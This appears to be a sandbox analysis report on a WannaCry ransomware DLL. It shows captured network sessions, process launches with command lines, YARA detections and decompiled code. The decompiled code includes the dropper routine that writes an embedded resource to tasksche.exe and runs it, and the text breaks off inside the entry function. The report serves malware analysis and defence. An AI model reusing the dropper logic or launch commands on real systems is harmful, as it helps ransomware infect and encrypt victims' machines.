2022-07-20 04:07:51 UTC	6872	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130724Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:51 UTC	6874	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 1f6fe230-935e-4335-be0f-f1071f8567d4 Date: Wed, 20 Jul 2022 04:07:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.6	52796	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:51 UTC	6872	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 63 39 32 30 32 65 38 36 61 33 34 37 65 61 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 5c9202e86a347eaa
2022-07-20 04:07:51 UTC	6872	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 04:07:51 UTC	6873	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 63 39 32 30 32 65 38 36 61 33 34 37 65 61 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 Data Ascii: ATH 2 CON\DEVICE 1026Context: 5c9202e86a347eaa<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmb
2022-07-20 04:07:51 UTC	6874	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 63 39 32 30 32 65 38 36 61 33 34 37 65 61 61 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 5c9202e86a347eaa
2022-07-20 04:07:51 UTC	6874	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:07:51 UTC	6874	IN	Data Raw: 4d 53 2d 43 56 3a 20 70 68 6c 38 36 49 38 4a 37 6b 61 44 71 36 72 43 41 55 61 38 6b 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: phl86I8J7kaDq6rCAUa8kQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.6	52801	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:51 UTC	6909	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130725Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:51 UTC	6910	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: eade52fb-1efd-4fe5-bb18-6e7ee06cdee1 Date: Wed, 20 Jul 2022 04:07:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.6	52842	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:51 UTC	6910	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130726Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:51 UTC	6911	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: c8cc8831-b7cf-4e29-a192-b417dc6e6dc2 Date: Wed, 20 Jul 2022 04:07:50 GMT Connection: close

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exePID: 6820, Parent PID: 5680

General

Target ID:	0
Start time:	06:05:48
Start date:	20/07/2022
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\dKkvbrzdUL.dll"
Imagebase:	0x1290000
File size:	116736 bytes
MD5 hash:	7DEB5DB86C0AC789123DEC286286B938
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6828, Parent PID: 6820

General

Target ID:	1
Start time:	06:05:49
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\dKkvbrzdUL.dll",#1
Imagebase:	0xed0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 6836, Parent PID: 6820

General

Target ID:	2
Start time:	06:05:49
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\dKkvbrzdUL.dll,PlayGame
Imagebase:	0x920000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 6848, Parent PID: 6828

General

Target ID:	3
Start time:	06:05:49
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\dKkvbrzdUL.dll",#1
Imagebase:	0x920000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 6876, Parent PID: 6848

General

Target ID:	4
Start time:	06:05:51
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe
Imagebase:	0x400000
File size:	2281472 bytes
MD5 hash:	62697F6EFBC9AF4B561F028D8A259B4B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.382422344.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.383496328.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.379948555.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000002.391199792.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.381375838.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (with the help of binar.ly) Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (based on rule by US CERT) Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvr.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 86%, Metadefender, Browse Detection: 98%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 6904, Parent PID: 6820

General

Target ID:	5
Start time:	06:05:52
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\dKkvbrzdUL.dll",PlayGame
Imagebase:	0x920000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 6916, Parent PID: 6904

General

Target ID:	6
Start time:	06:05:53
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe
Imagebase:	0x400000
File size:	2281472 bytes
MD5 hash:	62697F6EFBC9AF4B561F028D8A259B4B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000002.393019567.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.386950574.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.385160668.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.387992638.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.389527368.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 6964, Parent PID: 588

General

Target ID:	7
Start time:	06:05:54
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe -m security
Imagebase:	0x400000
File size:	2281472 bytes
MD5 hash:	62697F6EFBC9AF4B561F028D8A259B4B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.387224281.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000002.991108405.000000000042E000.00000004.00000001.01000000.00000004.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: tasksche.exePID: 7032, Parent PID: 6876

General

Target ID:	8
Start time:	06:05:55
Start date:	20/07/2022
Path:	C:\Windows\tasksche.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\tasksche.exe /i
Imagebase:	0x400000
File size:	2061938 bytes
MD5 hash:	ADF1AD99D22225A33E63070C8F4FCC77
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 57%, Metadefender, Browse Detection: 68%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5108, Parent PID: 588

General

Target ID:	14
Start time:	06:06:25
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff726010000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 8252, Parent PID: 588

General

Target ID:	15
Start time:	06:06:27
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff726010000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 8652, Parent PID: 588

General

Target ID:	16
Start time:	06:06:33
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff726010000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 11124, Parent PID: 588

General

Target ID:	21
Start time:	06:07:14
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff726010000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 13008, Parent PID: 588

General

Target ID:	23
Start time:	06:07:36
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff726010000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: mssecsvr.exePID: 6876, Parent PID: 6848COMMON

Execution Graph

Execution Coverage:	71.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	63.2%
Total number of Nodes:	38
Total number of Limit Nodes:	9

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00407CE0 Relevance: 50.9, APIs: 18, Strings: 11, Instructions: 175
libraryloaderfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00407CE0() {
				void _v259;
				char _v260;
				void _v519;
				char _v520;
				struct _STARTUPINFOA _v588;
				struct _PROCESS_INFORMATION _v604;
				long _v608;
				_Unknown_base(*)()* _t36;
				void* _t38;
				void* _t39;
				void* _t50;
				int _t59;
				struct HINSTANCE__* _t104;
				struct HRSRC__* _t105;
				void* _t107;
				void* _t108;
				long _t109;
				intOrPtr _t121;
				intOrPtr _t122;

				_t104 = GetModuleHandleW(L"kernel32.dll");
				if(_t104 != 0) {
					 *0x431478 = GetProcAddress(_t104, "CreateProcessA");
					 *0x431458 = GetProcAddress(_t104, "CreateFileA");
					 *0x431460 = GetProcAddress(_t104, "WriteFile");
					_t36 = GetProcAddress(_t104, "CloseHandle");
					 *0x43144c = _t36;
					if( *0x431478 != 0) {
						_t121 =  *0x431458; // 0x76f1f7b0
						if(_t121 != 0) {
							_t122 =  *0x431460; // 0x76f1fc30
							if(_t122 != 0 && _t36 != 0) {
								_t105 = FindResourceA(0, 0x727, "R");
								if(_t105 != 0) {
									_t38 = LoadResource(0, _t105);
									if(_t38 != 0) {
										_t39 = LockResource(_t38);
										_v608 = _t39;
										if(_t39 != 0) {
											_t109 = SizeofResource(0, _t105);
											if(_t109 != 0) {
												_v520 = 0;
												memset( &_v519, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												_v260 = 0;
												memset( &_v259, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												sprintf( &_v520, "C:\\%s\\%s", "WINDOWS", "tasksche.exe");
												sprintf( &_v260, "C:\\%s\\qeriuwjhrf", "WINDOWS");
												MoveFileExA( &_v520,  &_v260, 1); // executed
												_t50 = CreateFileA( &_v520, 0x40000000, 0, 0, 2, 4, 0); // executed
												_t107 = _t50;
												if(_t107 != 0xffffffff) {
													WriteFile(_t107, _v608, _t109,  &_v608, 0); // executed
													FindCloseChangeNotification(_t107); // executed
													_v604.hThread = 0;
													_v604.dwProcessId = 0;
													_v604.dwThreadId = 0;
													memset( &(_v588.lpReserved), 0, 0x10 << 2);
													asm("repne scasb");
													_v604.hProcess = 0;
													_t108 = " /i";
													asm("repne scasb");
													memcpy( &_v520 - 1, _t108, 0 << 2);
													memcpy(_t108 + 0x175b75a, _t108, 0);
													_v588.cb = 0x44;
													_v588.wShowWindow = 0;
													_v588.dwFlags = 0x81;
													_t59 = CreateProcessA(0,  &_v520, 0, 0, 0, 0x8000000, 0, 0,  &_v588,  &_v604); // executed
													if(_t59 != 0) {
														CloseHandle(_v604.hThread);
														CloseHandle(_v604);
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return 0;
			}

0x00407cf5
0x00407cfb
0x00407d15
0x00407d22
0x00407d2f
0x00407d34
0x00407d3c
0x00407d43
0x00407d49
0x00407d4f
0x00407d55
0x00407d5b
0x00407d7a
0x00407d7e
0x00407d86
0x00407d8e
0x00407d95
0x00407d9d
0x00407da1
0x00407daf
0x00407db3
0x00407dc4
0x00407dc8
0x00407dca
0x00407dcc
0x00407ddb
0x00407de2
0x00407def
0x00407df1
0x00407e01
0x00407e18
0x00407e2c
0x00407e43
0x00407e49
0x00407e4e
0x00407e61
0x00407e68
0x00407e72
0x00407e7a
0x00407e82
0x00407e8b
0x00407e95
0x00407e9b
0x00407e9f
0x00407ea8
0x00407eb0
0x00407ebc
0x00407ed3
0x00407edb
0x00407ee0
0x00407ee8
0x00407ef0
0x00407ef7
0x00407f02
0x00407f02
0x00407ef0
0x00407e4e
0x00407db3
0x00407da1
0x00407d8e
0x00407d7e
0x00407d5b
0x00407d4f
0x00407d43
0x00407f14

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,6F54FB10,?,00000000), ref: 00407CEF
GetProcAddress.KERNEL32(00000000,CreateProcessA), ref: 00407D0D
GetProcAddress.KERNEL32(00000000,CreateFileA), ref: 00407D1A
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00407D27
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00407D34
FindResourceA.KERNEL32(00000000,00000727,0043137C), ref: 00407D74
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407D86
LockResource.KERNEL32(00000000,?,00000000), ref: 00407D95
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407DA9
sprintf.MSVCRT ref: 00407E01
sprintf.MSVCRT ref: 00407E18
MoveFileExA.KERNEL32 ref: 00407E2C
CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000004,00000000), ref: 00407E43
WriteFile.KERNELBASE(00000000,?,00000000,?,00000000), ref: 00407E61
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00407E68
CreateProcessA.KERNELBASE ref: 00407EE8
CloseHandle.KERNEL32(00000000), ref: 00407EF7
CloseHandle.KERNEL32(08000000), ref: 00407F02

Strings

CloseHandle, xrefs: 00407D29
D, xrefs: 00407ED3
kernel32.dll, xrefs: 00407CEA
WriteFile, xrefs: 00407D1C
CreateFileA, xrefs: 00407D0F
C:\%s\qeriuwjhrf, xrefs: 00407E12
/i, xrefs: 00407E8D
CreateProcessA, xrefs: 00407D07
C:\%s\%s, xrefs: 00407DFB
WINDOWS, xrefs: 00407DF2, 00407E0D
tasksche.exe, xrefs: 00407DEA

Memory Dump Source

Source File: 00000004.00000002.391068140.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.391060156.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391102346.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391121723.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391199792.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391280407.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391489177.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391656756.00000000007AE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391740477.0000000000808000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391750917.000000000080A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391757305.0000000000816000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391767653.0000000000818000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391797496.0000000000822000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391806748.0000000000825000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391828901.0000000000838000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391859267.000000000083E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391905825.000000000084A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391916370.0000000000856000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391923161.000000000085C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391931573.000000000086F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391938777.000000000087B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391945502.0000000000884000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391951444.0000000000888000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391958478.0000000000890000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391974019.0000000000898000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391983331.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391989273.00000000008A8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392010207.00000000008B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392024588.00000000008B8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392048901.00000000008C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392057705.00000000008C8000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: AddressProcResource$CloseFileHandle$CreateFindsprintf$ChangeLoadLockModuleMoveNotificationProcessSizeofWrite
String ID: /i$C:\%s\%s$C:\%s\qeriuwjhrf$CloseHandle$CreateFileA$CreateProcessA$D$WINDOWS$WriteFile$kernel32.dll$tasksche.exe
API String ID: 1541710770-1507730452
Opcode ID: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction ID: 13a48b3e7e70fc1f7524b3ea2ca00aec236584d0bbebcf852995d03268f4a9c8
Opcode Fuzzy Hash: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction Fuzzy Hash: B15197715043496FE7109F74DC84AAB7B98EB88354F14493EF651A32E0DA7898088BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				void* _t27;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40a1a0);
				_push(0x409ba2);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x70f894 =  *0x70f894 | 0xffffffff;
				 *0x70f898 =  *0x70f898 | 0xffffffff;
				 *(__p__fmode()) =  *0x70f88c;
				 *(__p__commode()) =  *0x70f888;
				 *0x70f890 = _adjust_fdiv;
				_t27 = E00409BA1( *_adjust_fdiv);
				_t61 =  *0x431410; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00409B9E);
				}
				E00409B8C(_t27);
				_push(0x40b010);
				_push(0x40b00c);
				L00409B86();
				_v112 =  *0x70f884;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x70f880,  &_v112);
				_push(0x40b008);
				_push(0x40b000); // executed
				L00409B86(); // executed
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
